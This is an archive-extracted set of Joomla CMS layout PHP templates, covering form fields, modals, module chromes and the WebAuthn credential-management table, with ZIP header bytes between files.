* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $groups Groups of options available for this
field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
*/
$html = [];
$attr = '';
// Initialize some field attributes.
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
$attr .= $multiple ? ' multiple' : '';
$attr .= $autofocus ? ' autofocus' : '';
$attr .= $dataAttribute;
// To avoid user's confusion, readonly="true" should imply
disabled="true".
if ($readonly || $disabled) {
$attr .= ' disabled="disabled"';
}
// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange .
'"' : '';
$attr2 = '';
$attr2 .= !empty($class) ? ' class="' . $class .
'"' : '';
$attr2 .= ' placeholder="' . $this->escape($hint ?:
Text::_('JGLOBAL_TYPE_OR_SELECT_SOME_OPTIONS')) . '"
';
if ($required) {
$attr .= ' required class="required"';
$attr2 .= ' required';
}
// Create a read-only list (no name) with a hidden input to store the
value.
if ($readonly) {
$html[] = HTMLHelper::_(
'select.groupedlist',
$groups,
null,
[
'list.attr' => $attr, 'id' => $id,
'list.select' => $value, 'group.items' => null,
'option.key.toHtml' => false,
'option.text.toHtml' => false,
]
);
// E.g. form field type tag sends $this->value as array
if ($multiple && \is_array($value)) {
if (!\count($value)) {
$value[] = '';
}
foreach ($value as $val) {
$html[] = '<input type="hidden"
name="' . $name . '" value="' .
htmlspecialchars($val, ENT_COMPAT, 'UTF-8') .
'">';
}
} else {
$html[] = '<input type="hidden" name="'
. $name . '" value="' . htmlspecialchars($value,
ENT_COMPAT, 'UTF-8') . '">';
}
} else {
// Create a regular list.
$html[] = HTMLHelper::_(
'select.groupedlist',
$groups,
$name,
[
'list.attr' => $attr, 'id' => $id,
'list.select' => $value, 'group.items' => null,
'option.key.toHtml' => false,
'option.text.toHtml' => false,
]
);
}
Text::script('JGLOBAL_SELECT_NO_RESULTS_MATCH');
Text::script('JGLOBAL_SELECT_PRESS_TO_SELECT');
Factory::getApplication()->getDocument()->getWebAssetManager()
->usePreset('choicesjs')
->useScript('webcomponent.field-fancy-select');
?>
<joomla-field-fancy-select <?php echo $attr2; ?>><?php echo
implode($html); ?></joomla-field-fancy-select>
PK]��[0�Z<joomla/form/field/tag.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var boolean $allowCustom Flag, to allow add custom values
* @var boolean $remoteSearch Flag, to enable remote search
* @var integer $minTermLength Minimum length of the term to start
searching
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attributes for eg,
data-*.
*/
$html = [];
$attr = '';
// Initialize some field attributes.
$attr .= $multiple ? ' multiple' : '';
$attr .= $autofocus ? ' autofocus' : '';
$attr .= $onchange ? ' onchange="' . $onchange .
'"' : '';
$attr .= $dataAttribute;
// To avoid user's confusion, readonly="readonly" should
imply disabled="disabled".
if ($readonly || $disabled) {
$attr .= ' disabled="disabled"';
}
$attr2 = '';
$attr2 .= !empty($class) ? ' class="' . $class .
'"' : '';
$attr2 .= ' placeholder="' . $this->escape($hint ?:
Text::_('JGLOBAL_TYPE_OR_SELECT_SOME_TAGS')) . '"
';
$attr2 .= $dataAttribute;
if ($allowCustom) {
$attr2 .= $allowCustom ? ' allow-custom' : '';
$attr2 .= $allowCustom ? ' new-item-prefix="#new#"'
: '';
}
if ($remoteSearch) {
$attr2 .= ' remote-search';
$attr2 .= ' url="' . Uri::root(true) .
'/index.php?option=com_tags&task=tags.searchAjax"';
$attr2 .= ' term-key="like"';
$attr2 .= ' min-term-length="' . $minTermLength .
'"';
}
if ($required) {
$attr .= ' required class="required"';
$attr2 .= ' required';
}
// Create a read-only list (no name) with hidden input(s) to store the
value(s).
if ($readonly) {
$html[] = HTMLHelper::_('select.genericlist', $options,
'', trim($attr), 'value', 'text', $value,
$id);
// E.g. form field type tag sends $this->value as array
if ($multiple && is_array($value)) {
if (!count($value)) {
$value[] = '';
}
foreach ($value as $val) {
$html[] = '<input type="hidden"
name="' . $name . '" value="' .
htmlspecialchars($val, ENT_COMPAT, 'UTF-8') .
'">';
}
} else {
$html[] = '<input type="hidden" name="'
. $name . '" value="' . htmlspecialchars($value,
ENT_COMPAT, 'UTF-8') . '">';
}
} else // Create a regular list.
{
$html[] = HTMLHelper::_('select.genericlist', $options,
$name, trim($attr), 'value', 'text', $value, $id);
}
Text::script('JGLOBAL_SELECT_NO_RESULTS_MATCH');
Text::script('JGLOBAL_SELECT_PRESS_TO_SELECT');
Factory::getDocument()->getWebAssetManager()
->usePreset('choicesjs')
->useScript('webcomponent.field-fancy-select');
?>
<joomla-field-fancy-select <?php echo $attr2; ?>><?php echo
implode($html); ?></joomla-field-fancy-select>
PK]��[�͵n��+joomla/form/field/media/accessiblemedia.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2020 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
$form = $forms[0];
$formfields = $form->getGroup('');
?>
<div class="subform-wrapper">
<?php foreach ($formfields as $field) : ?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</div>
PK]��[yTk��joomla/form/field/time.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* @var array $displayData Array with values.
*/
extract($displayData);
/**
* Layout variables
* -----------------
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate elements.
* @var boolean $required Is this field required?
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
*/
$attributes = [
!empty($class) ? 'class="form-control ' . $class .
'"' : 'class="form-control"',
!empty($description) ? 'aria-describedby="' . ($id ?:
$name) . '-desc"' : '',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
strlen($hint) ? 'placeholder="' .
htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"'
: '',
!empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
isset($max) ? 'max="' . $max . '"' :
'',
isset($step) ? 'step="' . $step . '"' :
'',
isset($min) ? 'min="' . $min . '"' :
'',
$required ? 'required' : '',
$autofocus ? 'autofocus' : '',
$dataAttribute,
];
?>
<input
type="time"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
value="<?php echo $value ?>"
<?php echo implode(' ', $attributes); ?>>
PK]��[W�鈌�joomla/installer/changelog.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
use Joomla\CMS\Language\Text;
defined('_JEXEC') or die;
array_walk(
$displayData,
function ($items, $changeType) {
// If there are no items, continue
if (empty($items)) {
return;
}
switch ($changeType) {
case 'security':
$class = 'bg-danger';
break;
case 'fix':
$class = 'bg-dark';
break;
case 'language':
$class = 'bg-primary';
break;
case 'addition':
$class = 'bg-success';
break;
case 'change':
$class = 'bg-warning';
break;
case 'remove':
$class = 'bg-secondary';
break;
default:
case 'note':
$class = 'bg-info';
break;
}
?>
<div class="changelog">
<div class="changelog__item">
<div class="changelog__tag">
<span class="badge <?php echo $class;
?>"><?php echo Text::_('COM_INSTALLER_CHANGELOG_' .
$changeType); ?></span>
</div>
<div class="changelog__list">
<ul>
<li><?php echo
implode('</li><li>', $items); ?></li>
</ul>
</div>
</div>
</div>
<?php
}
);
PK]��[%�
R��
joomla/editors/buttons/modal.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
/** @var \Joomla\CMS\Editor\Button\Button $button */
$button = $displayData;
if (!$button->get('modal')) {
return;
}
$class = ($button->get('class')) ?
$button->get('class') : null;
$class .= ($button->get('modal')) ? '
modal-button' : null;
$href = '#' . $button->get('editor') .
'_' . strtolower($button->get('name')) .
'_modal';
$link = ($button->get('link')) ? Uri::base() .
$button->get('link') : null;
$onclick = ($button->get('onclick')) ? '
onclick="' . $button->get('onclick') .
'"' : '';
$title = ($button->get('title')) ?
$button->get('title') : $button->get('text');
$options = $button->getOptions();
$confirm = '';
if (is_array($button->get('options')) &&
isset($options['confirmText']) &&
isset($options['confirmCallback'])) {
$confirm = '<button type="button" class="btn
btn-success" data-bs-dismiss="modal" onclick="' .
$options['confirmCallback'] . '">'
. $options['confirmText'] . ' </button>';
}
if (null !== $button->get('id')) {
$id = str_replace(' ', '',
$button->get('id'));
} else {
$id = $button->get('editor') . '_' .
strtolower($button->get('name')) . '_modal';
}
// @todo: J4: Move Make buttons fullscreen on smaller devices per
https://github.com/joomla/joomla-cms/pull/23091
// Create the modal
echo HTMLHelper::_(
'bootstrap.renderModal',
$id,
[
'url' => $link,
'title' => $title,
'height' => array_key_exists('height',
$options) ? $options['height'] : '400px',
'width' => array_key_exists('width',
$options) ? $options['width'] : '800px',
'bodyHeight' =>
array_key_exists('bodyHeight', $options) ?
$options['bodyHeight'] : '70',
'modalWidth' =>
array_key_exists('modalWidth', $options) ?
$options['modalWidth'] : '80',
'footer' => $confirm . '<button
type="button" class="btn btn-secondary"
data-bs-dismiss="modal">'
. Text::_('JLIB_HTML_BEHAVIOR_CLOSE') .
'</button>'
]
);
PK]��[_�"plugins/system/webauthn/manage.phpnu�[���<?php
/**
* @package Joomla.Plugin
* @subpackage System.webauthn
*
* @copyright (C) 2020 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\User\User;
use Webauthn\PublicKeyCredentialSource;
/**
* Passwordless Login management interface
*
* Generic data
*
* @var FileLayout $this The Joomla layout renderer
* @var array $displayData The data in array format. DO NOT USE.
*
* Layout specific data
*
* @var User $user The Joomla user whose
passwordless login we are managing
* @var bool $allow_add Are we allowed to add
passwordless login methods
* @var array $credentials The already stored credentials
for the user
* @var string $error Any error messages
* @var array $knownAuthenticators Known authenticator metadata
* @var boolean $attestationSupport Is authenticator attestation
supported in the plugin?
*/
// Extract the data. Do not remove until the unset() line.
try {
$app = Factory::getApplication();
$loggedInUser = $app->getIdentity();
$app->getDocument()->getWebAssetManager()
->registerAndUseStyle('plg_system_webauthn.backend',
'plg_system_webauthn/backend.css');
} catch (Exception $e) {
$loggedInUser = new User();
}
$defaultDisplayData = [
'user' => $loggedInUser,
'allow_add' => false,
'credentials' => [],
'error' => '',
'knownAuthenticators' => [],
'attestationSupport' => true,
];
extract(array_merge($defaultDisplayData, $displayData));
if ($displayData['allow_add'] === false) {
$error =
Text::_('PLG_SYSTEM_WEBAUTHN_CANNOT_ADD_FOR_A_USER');
$allow_add = false;
}
// Ensure the GMP or BCmath extension is loaded in PHP - as this is
required by third party library
if ($allow_add && function_exists('gmp_intval') === false
&& function_exists('bccomp') === false) {
$error = Text::_('PLG_SYSTEM_WEBAUTHN_REQUIRES_GMP');
$allow_add = false;
}
Text::script('JGLOBAL_CONFIRM_DELETE');
HTMLHelper::_('bootstrap.tooltip',
'.plg_system_webauth-has-tooltip');
?>
<div class="plg_system_webauthn"
id="plg_system_webauthn-management-interface">
<?php
if (is_string($error) && !empty($error)) : ?>
<div class="alert alert-danger">
<?php echo htmlentities($error) ?>
</div>
<?php endif; ?>
<table class="table table-striped">
<caption class="visually-hidden">
<?php echo
Text::_('PLG_SYSTEM_WEBAUTHN_TABLE_CAPTION'); ?>,
</caption>
<thead class="table-dark">
<tr>
<th <?php if ($attestationSupport) :
?>colspan="2"<?php
endif; ?> scope="col">
<?php echo
Text::_('PLG_SYSTEM_WEBAUTHN_MANAGE_FIELD_KEYLABEL_LABEL') ?>
</th>
<th scope="col"><?php echo
Text::_('PLG_SYSTEM_WEBAUTHN_MANAGE_HEADER_ACTIONS_LABEL')
?></th>
</tr>
</thead>
<tbody>
<?php
foreach ($credentials as $method) : ?>
<tr data-credential_id="<?php echo
$method['id'] ?>">
<?php
if ($attestationSupport) :
$aaguid = ($method['credential'] instanceof
PublicKeyCredentialSource) ?
$method['credential']->getAaguid() : '';
$authMetadata =
$knownAuthenticators[$aaguid->toString()] ??
$knownAuthenticators[''];
?>
<td class="text-center">
<img class="plg_system_webauth-has-tooltip
bg-secondary"
style="max-width: 6em; max-height: 3em"
src="<?php echo $authMetadata->icon
?>"
alt="<?php echo
$authMetadata->description ?>"
title="<?php echo
$authMetadata->description ?>">
</td>
<?php endif; ?>
<th scope="row"
class="webauthnManagementCell"><?php echo
htmlentities($method['label']) ?></th>
<td class="webauthnManagementCell">
<button class="plg_system_webauthn-manage-edit
btn btn-secondary">
<span class="icon-edit"
aria-hidden="true"></span>
<?php echo
Text::_('PLG_SYSTEM_WEBAUTHN_MANAGE_BTN_EDIT_LABEL') ?>
</button>
<button
class="plg_system_webauthn-manage-delete btn btn-danger">
<span class="icon-minus"
aria-hidden="true"></span>
<?php echo
Text::_('PLG_SYSTEM_WEBAUTHN_MANAGE_BTN_DELETE_LABEL') ?>
</button>
</td>
</tr>
<?php endforeach; ?>
<?php
if (empty($credentials)) : ?>
<tr>
<td colspan="<?php echo $attestationSupport ?
'3' : '2'; ?>">
<?php echo
Text::_('PLG_SYSTEM_WEBAUTHN_MANAGE_HEADER_NOMETHODS_LABEL')
?>
</td>
</tr>
<?php endif; ?>
</tbody>
</table>
<?php
if ($allow_add) : ?>
<p
class="plg_system_webauthn-manage-add-container">
<button
type="button"
id="plg_system_webauthn-manage-add"
class="btn btn-success w-100">
<span class="icon-plus"
aria-hidden="true"></span>
<?php echo
Text::_('PLG_SYSTEM_WEBAUTHN_MANAGE_BTN_ADD_LABEL') ?>
</button>
</p>
<?php endif; ?>
</div>
PK]��[w���OOplugins/user/token/token.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2020 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $name Name of the input field.
* @var string $value Value attribute of the field.
*/
Text::script('ERROR');
Text::script('MESSAGE');
Text::script('PLG_USER_TOKEN_COPY_SUCCESS');
Text::script('PLG_USER_TOKEN_COPY_FAIL');
Factory::getApplication()->getDocument()->getWebAssetManager()
->registerAndUseScript('plg_user_token.token',
'plg_user_token/token.js', [], ['defer' => true],
['core']);
?>
<div class="input-group">
<input
type="text"
class="form-control"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
readonly
value="<?php echo htmlspecialchars($value, ENT_COMPAT,
'UTF-8'); ?>">
<button
class="btn btn-primary"
type="button"
id="token-copy"
title="<?php echo
Text::_('PLG_USER_TOKEN_COPY_DESC'); ?>"><?php echo
Text::_('PLG_USER_TOKEN_COPY'); ?></button>
</div>
PK]��[�4�;;:plugins/editors/tinymce/field/tinymcebuilder/setaccess.phpnu�[���<?php
/**
* @package Joomla.Plugin
* @subpackage Editors.tinymce
*
* @copyright (C) 2021 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var \Joomla\CMS\Form\Form $form Form with extra options for
the set
* @var \Joomla\CMS\Layout\FileLayout $this Context
*/
?>
<div class="setaccess-form-wrapper">
<?php echo $form->renderField('access'); ?>
</div>
PK]��[I�`>""chromes/none.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
echo $displayData['module']->content;
PK]��[!�/55chromes/html5.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* html5 (chosen html5 tag and font header tags)
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
$module = $displayData['module'];
$params = $displayData['params'];
$attribs = $displayData['attribs'];
if ((string) $module->content === '') {
return;
}
$moduleTag =
htmlspecialchars($params->get('module_tag', 'div'),
ENT_QUOTES, 'UTF-8');
$moduleAttribs = [];
$moduleAttribs['class'] = 'moduletable ' .
htmlspecialchars($params->get('moduleclass_sfx',
''), ENT_QUOTES, 'UTF-8');
$bootstrapSize = (int) $params->get('bootstrap_size',
0);
$moduleAttribs['class'] .= $bootstrapSize !== 0 ? '
col-md-' . $bootstrapSize : '';
$headerTag =
htmlspecialchars($params->get('header_tag', 'h3'),
ENT_QUOTES, 'UTF-8');
$headerClass =
htmlspecialchars($params->get('header_class', ''),
ENT_QUOTES, 'UTF-8');
$headerAttribs = [];
// Only output a header class if one is set
if ($headerClass !== '') {
$headerAttribs['class'] = $headerClass;
}
// Add class from attributes if any
if (!empty($attribs['class'])) {
$moduleAttribs['class'] .= ' ' .
htmlspecialchars($attribs['class'], ENT_QUOTES,
'UTF-8');
}
// Only add aria if the moduleTag is not a div
if ($moduleTag !== 'div') {
if ($module->showtitle) :
$moduleAttribs['aria-labelledby'] = 'mod-' .
$module->id;
$headerAttribs['id'] = 'mod-' .
$module->id;
else :
$moduleAttribs['aria-label'] = $module->title;
endif;
}
$header = '<' . $headerTag . ' ' .
ArrayHelper::toString($headerAttribs) . '>' .
$module->title . '</' . $headerTag . '>';
?>
<<?php echo $moduleTag; ?> <?php echo
ArrayHelper::toString($moduleAttribs); ?>>
<?php if ((bool) $module->showtitle) : ?>
<?php echo $header; ?>
<?php endif; ?>
<?php echo $module->content; ?>
</<?php echo $moduleTag; ?>>
PK]��[�-0��chromes/outline.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
Factory::getApplication()->getDocument()
->getWebAssetManager()
->registerAndUseStyle('layouts.chromes.outline',
'layouts/chromes/outline.css');
$module = $displayData['module'];
?>
<div class="mod-preview">
<div class="mod-preview-info">
<div class="mod-preview-position">
<?php echo
Text::sprintf('JGLOBAL_PREVIEW_POSITION', $module->position);
?>
</div>
<div class="mod-preview-style">
<?php echo Text::sprintf('JGLOBAL_PREVIEW_STYLE',
$module->style); ?>
</div>
</div>
<div class="mod-preview-wrapper">
<?php echo $module->content; ?>
</div>
</div>
PK]��[���@chromes/table.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* Module chrome that wraps the module in a table
*/
defined('_JEXEC') or die;
$module = $displayData['module'];
$params = $displayData['params'];
?>
<table
class="moduletable <?php echo
htmlspecialchars($params->get('moduleclass_sfx',
''), ENT_COMPAT, 'UTF-8'); ?>">
<?php if ((bool) $module->showtitle) : ?>
<tr>
<th>
<?php echo $module->title; ?>
</th>
</tr>
<?php endif; ?>
<tr>
<td>
<?php echo $module->content; ?>
</td>
</tr>
</table>
PK]��[���ȧ�)libraries/html/bootstrap/modal/iframe.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $selector Unique DOM identifier for the modal. CSS id
without #
* @var array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* @var string $body Markup for the modal body. Appended after the
<iframe> if the URL option is set
*/
$iframeAttributes = [
'class' => 'iframe',
'src' => $params['url']
];
if (isset($params['title'])) {
$iframeAttributes['name'] =
addslashes($params['title']);
$iframeAttributes['title'] =
addslashes($params['title']);
}
if (isset($params['height'])) {
$iframeAttributes['height'] = $params['height'];
}
if (isset($params['width'])) {
$iframeAttributes['width'] = $params['width'];
}
?>
<iframe <?php echo ArrayHelper::toString($iframeAttributes);
?>></iframe>
PK]��[;��ľ�)libraries/html/bootstrap/modal/footer.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $selector Unique DOM identifier for the modal. CSS id
without #
* @var array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @var string $body Markup for the modal body. Appended after the
<iframe> if the URL option is set
*/
?>
<div class="modal-footer">
<?php echo $params['footer']; ?>
</div>
PK]��[R�#���'libraries/html/bootstrap/modal/body.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $selector Unique DOM identifier for the modal. CSS id
without #
* @var array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @var string $body Markup for the modal body. Appended after the
<iframe> if the URL option is set
*/
$bodyClass = 'modal-body';
$bodyHeight = isset($params['bodyHeight']) ? round((int)
$params['bodyHeight'], -1) : '';
if ($bodyHeight && $bodyHeight >= 20 && $bodyHeight <
90) {
$bodyClass .= ' jviewport-height' . $bodyHeight;
}
?>
<div class="<?php echo $bodyClass; ?>">
<?php echo $body; ?>
</div>
PK]��[�Á['libraries/html/bootstrap/modal/main.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\Utilities\ArrayHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $selector Unique DOM identifier for the modal. CSS id
without #
* @var array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* - footer string Optional markup for
the modal footer
* - modalCss string Optional CSS classes
of the modal
* @var string $body Markup for the modal body. Appended after the
<iframe> if the URL option is set
*/
$modalClasses = ['modal'];
if (!isset($params['animation']) ||
$params['animation']) {
$modalClasses[] = 'fade';
}
$modalWidth = isset($params['modalWidth']) ? round((int)
$params['modalWidth'], -1) : '';
$modalDialogClass = 'modal-lg';
if ($modalWidth && $modalWidth > 0 && $modalWidth <=
100) {
$modalDialogClass .= ' jviewport-width' . $modalWidth;
}
if (!empty($params['modalCss'])) {
$modalDialogClass = $params['modalCss'];
}
$modalAttributes = [
'tabindex' => '-1',
'class' => 'joomla-modal ' . implode('
', $modalClasses)
];
if (isset($params['backdrop'])) {
$modalAttributes['data-bs-backdrop'] =
(is_bool($params['backdrop']) ? ($params['backdrop'] ?
'true' : 'false') : $params['backdrop']);
}
if (isset($params['keyboard'])) {
$modalAttributes['data-bs-keyboard'] =
(is_bool($params['keyboard']) ? ($params['keyboard'] ?
'true' : 'false') : 'true');
}
if (isset($params['url'])) {
$url = 'data-url="' . $params['url'] .
'"';
$iframeHtml =
htmlspecialchars(LayoutHelper::render('libraries.html.bootstrap.modal.iframe',
$displayData), ENT_COMPAT, 'UTF-8');
}
?>
<div id="<?php echo $selector; ?>"
role="dialog" <?php echo
ArrayHelper::toString($modalAttributes); ?> <?php echo $url ??
''; ?> <?php echo isset($url) ?
'data-iframe="' . trim($iframeHtml) . '"' :
''; ?>>
<div class="modal-dialog <?php echo $modalDialogClass;
?>">
<div class="modal-content">
<?php
// Header
if (!isset($params['closeButton']) ||
isset($params['title']) || $params['closeButton']) {
echo
LayoutHelper::render('libraries.html.bootstrap.modal.header',
$displayData);
}
// Body
echo
LayoutHelper::render('libraries.html.bootstrap.modal.body',
$displayData);
// Footer
if (isset($params['footer'])) {
echo
LayoutHelper::render('libraries.html.bootstrap.modal.footer',
$displayData);
}
?>
</div>
</div>
</div>
PK]��[��s�D D )libraries/html/bootstrap/modal/header.phpnu�[���<?php
/**
* @package Joomla.Site
